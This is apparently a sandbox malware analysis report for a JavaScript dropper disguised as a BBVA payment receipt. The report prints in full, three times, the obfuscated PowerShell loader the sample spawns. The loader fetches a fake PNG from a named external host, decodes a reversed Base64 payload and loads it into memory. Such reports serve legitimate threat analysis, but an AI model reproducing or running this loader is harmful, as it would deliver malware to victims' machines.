Overview

overview

10

Static

static

1

Comprobant...BVA.js

windows10-2004-x64

10

Comprobant...BVA.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/09/2026, 12:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Comprobante de pago BBVA.js
  • Size 305KB
  • Sample260904-ppqcdafe44
  • SHA256 becc8edb126822dedfe243efd96307d3971afd0d1d2eeb748a94eaad01142734
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://seasquadshipping.com/sksmin/newMSI_PRO.png
  • exe.dropper

    https://seasquadshipping.com/sksmin/newMSI_PRO.png

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Comprobante de pago BBVA.js"
    1⤵
      PID:2448
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $mawashi = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $hillwort = New-Object System.Net.CookieContainer; $bombylius = New-Object System.Net.Http.HttpClientHandler; $bombylius.AllowAutoRedirect = $true; $bombylius.CookieContainer = $hillwort; $flamboyants = New-Object System.Net.Http.HttpClient($bombylius); $flamboyants.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $usufruct = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $mawashi); $Penobscot = $flamboyants.SendAsync($usufruct).GetAwaiter().GetResult(); $palliata = $Penobscot.Content.Headers.ContentLength; if ($null -eq $palliata) { $palliata = 5000000; } $smoosh = [Math]::Min($palliata, 3000000); $husbandlike = [Math]::Max(0, $palliata - $smoosh); $alchemistical = $palliata - 1; $festue = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $mawashi); $festue.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($husbandlike, $alchemistical); $mortier = $flamboyants.SendAsync($festue).GetAwaiter().GetResult(); [byte[]]$superpraise = $mortier.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $coldrick = [System.Text.Encoding]::ASCII.GetString($superpraise); } catch { $glyptodontid = (New-Object System.Net.WebClient).DownloadString($mawashi); $coldrick = $glyptodontid; } $venturesomely=''IN-''; $Telecross=''-in1''; $meeds = [string]::IndexOf($coldrick, $venturesomely); $sandgropers = $coldrick.LastIndexOf($Telecross); if($meeds -eq -1 -or $sandgropers -eq -1){return}; $paucal = $meeds + $venturesomely.Length; $triperoxides = $coldrick.Substring($coldrick.IndexOf($venturesomely) + $venturesomely.Length, $sandgropers - ($coldrick.IndexOf($venturesomely) + $venturesomely.Length)); $violaters = $triperoxides.Replace(''*'',''A'').ToCharArray(); $cymatogaster = -join $violaters[($violaters.Length - 1)..0]; $ipsapirone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$mekin = $ipsapirone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$cymatogaster)); $Abelian = [AppDomain]::(''CurrentDomain''); $tricameral = $Abelian.GetType().GetMethod(''Load'', [byte[]]); $hypoxid = $tricameral.Invoke($Abelian, (,$mekin)); $ophiodon = (''68a3F9FyvitBUbPQnH3ZLVKTkGmDmtbBJEXZV8vabVZnvE/MqwzNA3UBgk6sE/WXR1KFUHufpyUfRGIejPhj64Uy0mjO21FFLQqAoVf8VfM='','''',''2y12pvk7b0ivzhEAzIgssyO6iXPGYGofOaL81GEk7BpleQJmRTsc8DP2nLnRMtLg'',''tZa3VKrF8hhS5Dmg31pKrmW4j6HWXl3fyzsKDZHoy1Y='',''C8S+Or31aHmJkj+shMTRhU6/opT9kSd8YOKqw/riBnU='','''',''06d/9Cd2/JG1RSVmk4K3wzwal82czGBd9YGu8zjVR9w='','''',''9Qa8f1FXZPY49hpL9WFoRtMRhWS89URg1h7XXBcySko='',''tb1vJz7CuUbb2jrrrl99zys76Qi4eNRYvzrUtUTGuFkDpEcQFEQoT5UPgACzN3h5'',''8Li44Zdj93ph92yzMrzhOST5uQM4z0jenfuhBAS5vRo='',''ua2ALtDB1U/RxP3QiLiGeiGXaZjjN4ra82juaRKtS3Q='',''p9aW/NbgMoPjqrYYkKXNTdqjsKLqbEsjER2KwTyc5dE='','''',''82O/QkFv6p1UjvUirLPpOHhnD6J6DAQGm+h3iXyfl7c='',''b5J5xYlqWq5vWIzVjYv4EtAvF3/FllZr8G11n1ninCQ='','''','''',''''); try { $arithmomania = ($hypoxid.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $personalia = ($arithmomania.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $personalia.Invoke($null, [object[]]$ophiodon); } catch {} finally { if ($null -ne $flamboyants) { $flamboyants.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $mawashi = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $hillwort = New-Object System.Net.CookieContainer; $bombylius = New-Object System.Net.Http.HttpClientHandler; $bombylius.AllowAutoRedirect = $true; $bombylius.CookieContainer = $hillwort; $flamboyants = New-Object System.Net.Http.HttpClient($bombylius); $flamboyants.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $usufruct = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $mawashi); $Penobscot = $flamboyants.SendAsync($usufruct).GetAwaiter().GetResult(); $palliata = $Penobscot.Content.Headers.ContentLength; if ($null -eq $palliata) { $palliata = 5000000; } $smoosh = [Math]::Min($palliata, 3000000); $husbandlike = [Math]::Max(0, $palliata - $smoosh); $alchemistical = $palliata - 1; $festue = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $mawashi); $festue.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($husbandlike, $alchemistical); $mortier = $flamboyants.SendAsync($festue).GetAwaiter().GetResult(); [byte[]]$superpraise = $mortier.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $coldrick = [System.Text.Encoding]::ASCII.GetString($superpraise); } catch { $glyptodontid = (New-Object System.Net.WebClient).DownloadString($mawashi); $coldrick = $glyptodontid; } $venturesomely=''IN-''; $Telecross=''-in1''; $meeds = [string]::IndexOf($coldrick, $venturesomely); $sandgropers = $coldrick.LastIndexOf($Telecross); if($meeds -eq -1 -or $sandgropers -eq -1){return}; $paucal = $meeds + $venturesomely.Length; $triperoxides = $coldrick.Substring($coldrick.IndexOf($venturesomely) + $venturesomely.Length, $sandgropers - ($coldrick.IndexOf($venturesomely) + $venturesomely.Length)); $violaters = $triperoxides.Replace(''*'',''A'').ToCharArray(); $cymatogaster = -join $violaters[($violaters.Length - 1)..0]; $ipsapirone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$mekin = $ipsapirone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$cymatogaster)); $Abelian = [AppDomain]::(''CurrentDomain''); $tricameral = $Abelian.GetType().GetMethod(''Load'', [byte[]]); $hypoxid = $tricameral.Invoke($Abelian, (,$mekin)); $ophiodon = (''68a3F9FyvitBUbPQnH3ZLVKTkGmDmtbBJEXZV8vabVZnvE/MqwzNA3UBgk6sE/WXR1KFUHufpyUfRGIejPhj64Uy0mjO21FFLQqAoVf8VfM='','''',''2y12pvk7b0ivzhEAzIgssyO6iXPGYGofOaL81GEk7BpleQJmRTsc8DP2nLnRMtLg'',''tZa3VKrF8hhS5Dmg31pKrmW4j6HWXl3fyzsKDZHoy1Y='',''C8S+Or31aHmJkj+shMTRhU6/opT9kSd8YOKqw/riBnU='','''',''06d/9Cd2/JG1RSVmk4K3wzwal82czGBd9YGu8zjVR9w='','''',''9Qa8f1FXZPY49hpL9WFoRtMRhWS89URg1h7XXBcySko='',''tb1vJz7CuUbb2jrrrl99zys76Qi4eNRYvzrUtUTGuFkDpEcQFEQoT5UPgACzN3h5'',''8Li44Zdj93ph92yzMrzhOST5uQM4z0jenfuhBAS5vRo='',''ua2ALtDB1U/RxP3QiLiGeiGXaZjjN4ra82juaRKtS3Q='',''p9aW/NbgMoPjqrYYkKXNTdqjsKLqbEsjER2KwTyc5dE='','''',''82O/QkFv6p1UjvUirLPpOHhnD6J6DAQGm+h3iXyfl7c='',''b5J5xYlqWq5vWIzVjYv4EtAvF3/FllZr8G11n1ninCQ='','''','''',''''); try { $arithmomania = ($hypoxid.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $personalia = ($arithmomania.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $personalia.Invoke($null, [object[]]$ophiodon); } catch {} finally { if ($null -ne $flamboyants) { $flamboyants.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $mawashi = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $hillwort = New-Object System.Net.CookieContainer; $bombylius = New-Object System.Net.Http.HttpClientHandler; $bombylius.AllowAutoRedirect = $true; $bombylius.CookieContainer = $hillwort; $flamboyants = New-Object System.Net.Http.HttpClient($bombylius); $flamboyants.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $usufruct = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $mawashi); $Penobscot = $flamboyants.SendAsync($usufruct).GetAwaiter().GetResult(); $palliata = $Penobscot.Content.Headers.ContentLength; if ($null -eq $palliata) { $palliata = 5000000; } $smoosh = [Math]::Min($palliata, 3000000); $husbandlike = [Math]::Max(0, $palliata - $smoosh); $alchemistical = $palliata - 1; $festue = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $mawashi); $festue.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($husbandlike, $alchemistical); $mortier = $flamboyants.SendAsync($festue).GetAwaiter().GetResult(); [byte[]]$superpraise = $mortier.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $coldrick = [System.Text.Encoding]::ASCII.GetString($superpraise); } catch { $glyptodontid = (New-Object System.Net.WebClient).DownloadString($mawashi); $coldrick = $glyptodontid; } $venturesomely=''IN-''; $Telecross=''-in1''; $meeds = [string]::IndexOf($coldrick, $venturesomely); $sandgropers = $coldrick.LastIndexOf($Telecross); if($meeds -eq -1 -or $sandgropers -eq -1){return}; $paucal = $meeds + $venturesomely.Length; $triperoxides = $coldrick.Substring($coldrick.IndexOf($venturesomely) + $venturesomely.Length, $sandgropers - ($coldrick.IndexOf($venturesomely) + $venturesomely.Length)); $violaters = $triperoxides.Replace(''*'',''A'').ToCharArray(); $cymatogaster = -join $violaters[($violaters.Length - 1)..0]; $ipsapirone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$mekin = $ipsapirone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$cymatogaster)); $Abelian = [AppDomain]::(''CurrentDomain''); $tricameral = $Abelian.GetType().GetMethod(''Load'', [byte[]]); $hypoxid = $tricameral.Invoke($Abelian, (,$mekin)); $ophiodon = (''68a3F9FyvitBUbPQnH3ZLVKTkGmDmtbBJEXZV8vabVZnvE/MqwzNA3UBgk6sE/WXR1KFUHufpyUfRGIejPhj64Uy0mjO21FFLQqAoVf8VfM='','''',''2y12pvk7b0ivzhEAzIgssyO6iXPGYGofOaL81GEk7BpleQJmRTsc8DP2nLnRMtLg'',''tZa3VKrF8hhS5Dmg31pKrmW4j6HWXl3fyzsKDZHoy1Y='',''C8S+Or31aHmJkj+shMTRhU6/opT9kSd8YOKqw/riBnU='','''',''06d/9Cd2/JG1RSVmk4K3wzwal82czGBd9YGu8zjVR9w='','''',''9Qa8f1FXZPY49hpL9WFoRtMRhWS89URg1h7XXBcySko='',''tb1vJz7CuUbb2jrrrl99zys76Qi4eNRYvzrUtUTGuFkDpEcQFEQoT5UPgACzN3h5'',''8Li44Zdj93ph92yzMrzhOST5uQM4z0jenfuhBAS5vRo='',''ua2ALtDB1U/RxP3QiLiGeiGXaZjjN4ra82juaRKtS3Q='',''p9aW/NbgMoPjqrYYkKXNTdqjsKLqbEsjER2KwTyc5dE='','''',''82O/QkFv6p1UjvUirLPpOHhnD6J6DAQGm+h3iXyfl7c='',''b5J5xYlqWq5vWIzVjYv4EtAvF3/FllZr8G11n1ninCQ='','''','''',''''); try { $arithmomania = ($hypoxid.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $personalia = ($arithmomania.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $personalia.Invoke($null, [object[]]$ophiodon); } catch {} finally { if ($null -ne $flamboyants) { $flamboyants.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4496

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 3fddbfc52e722de414b5fc5d75514ff7d57576f91f5eadffc1a093a19e08b352
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 94c33a9c1d5e270f7764646aaa5588b111c2758766b793f6daddd999ab75ee8e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 737e017a6d5e164432ed2d5a9d637dee107425727751a2ad87375654624376ad
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_kb5xb0kx.yur.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kb5xb0kx.yur.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/588-2-0x0000019A48360000-0x0000019A48370000-memory.dmp
          Download

          memory/588-1-0x0000019A48360000-0x0000019A48370000-memory.dmp
          Download

          memory/4496-4-0x000001A4F5B60000-0x000001A4F5B70000-memory.dmp
          Download

          memory/4808-0-0x000002743B240000-0x000002743B250000-memory.dmp
          Download

          memory/4808-3-0x000002743B240000-0x000002743B250000-memory.dmp
          Download

          memory/4808-10-0x00000274230A0000-0x00000274230C2000-memory.dmp
          Download

          memory/4808-32-0x000002743B240000-0x000002743B250000-memory.dmp
          Download

          memory/4808-33-0x000002743B240000-0x000002743B250000-memory.dmp
          Download